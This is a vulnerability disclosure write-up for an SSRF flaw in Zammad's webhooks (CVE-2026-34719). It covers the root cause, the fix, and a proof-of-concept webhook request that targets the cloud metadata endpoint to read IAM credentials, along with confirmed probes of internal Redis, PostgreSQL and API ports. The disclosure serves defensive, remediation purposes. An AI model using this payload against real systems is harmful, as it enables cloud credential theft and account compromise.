The second of three findings I reported to Zammad in March 2026. It sits right next to an earlier SSRF fix and demonstrates a classic lesson: when you patch one path to a dangerous sink, you have to enumerate the others.

Fixed in 7.0.1 (and backported to 6.5.4), assigned CVE-2026-34719. I rated it High (CVSS 3.1, 8.1); Zammad scored it 8.3 (High) on CVSS v4.

Background

Zammad lets administrators define webhooks that fire on triggers — for example, “when a ticket is created, POST a payload to this URL.” Outbound HTTP is handled centrally by lib/user_agent.rb, a wrapper around Ruby’s Net::HTTP.

Root cause

UserAgent maintains a proxy_no list that excludes loopback addresses — but that only governs proxy routing. Direct connections were made with no IP-range validation at all:

proxy_no = ['localhost', '127.0.0.1', '::1']   # only affects PROXY routing

uri  = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)        # any IP/hostname allowed
# no check: is uri.host private / loopback / link-local?

The Webhook model (app/models/webhook.rb) validated only that the endpoint had a valid HTTP/HTTPS scheme and a parseable host:

def validate_endpoint
  uri = URI.parse(endpoint)
  errors.add :endpoint, 'invalid' unless uri.is_a?(URI::HTTP) && uri.host.present?
rescue URI::InvalidURIError
  errors.add :endpoint, 'invalid'
end

No RFC 1918 ranges, no loopback, no link-local — so the cloud metadata endpoint at 169.254.169.254, internal services on 127.0.0.1, and anything on the internal network were all reachable.

The amplifier: when TriggerWebhookJob fires, the full HTTP response — headers and body — is written to http_logs and is readable by admins via GET /api/v1/http_logs. That turns a blind-ish SSRF into a clean read primitive.

Attack path

  1. An admin (admin.webhook + admin.trigger) creates a webhook pointing at an internal target.
  2. They wire it to a trigger on ticket.action = create.
  3. Any ticket fires the request server-side.
  4. The admin reads the captured response from the HTTP logs.

Proof of concept

POST /api/v1/webhooks HTTP/1.1
Content-Type: application/json

{
  "name": "ssrf-poc",
  "endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "http_method": "post",
  "ssl_verify": false,
  "active": true
}

Wire it to a trigger, create any ticket, then read GET /api/v1/http_logs. Confirmed reaching internal services on the live instance:

http://127.0.0.1:3000/api/v1/users  → HTTP 401   (Zammad API)
http://127.0.0.1:6379/              → connected  (Redis)
http://127.0.0.1:5432/              → connected  (PostgreSQL)
http://169.254.169.254/latest/      → reached    (cloud metadata)

Note on CVE-2025-32358

An earlier SSRF fix (CVE-2025-32358, ZAA-2025-01) addressed redirect-following by adding do_not_follow_redirects: true to the webhook job. That patch was present in the version I tested, and it did nothing here — pointing the endpoint directly at an internal address needs no redirect. This was a distinct, unpatched variant living one method call away from the existing fix.

Impact

On cloud-hosted deployments (AWS / GCP / Azure): exfiltration of IAM credentials, service-account tokens, or managed-identity tokens — potentially full cloud-account compromise. On-premise: internal port scanning and exfiltration from services that are not otherwise reachable from the internet.

I rated this High — CVSS 3.1 8.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N); Zammad scored it 8.3 (High) on CVSS v4.

Fix

Zammad extended the endpoint validation to reject loopback and link-local addresses, and crucially applied the check in two places: at webhook-configuration time and when the webhook job actually fires (so a hostname that resolves to an internal IP at request time can’t sneak past a creation-time check).

References

Thanks to the Zammad security team for handling this quickly and professionally.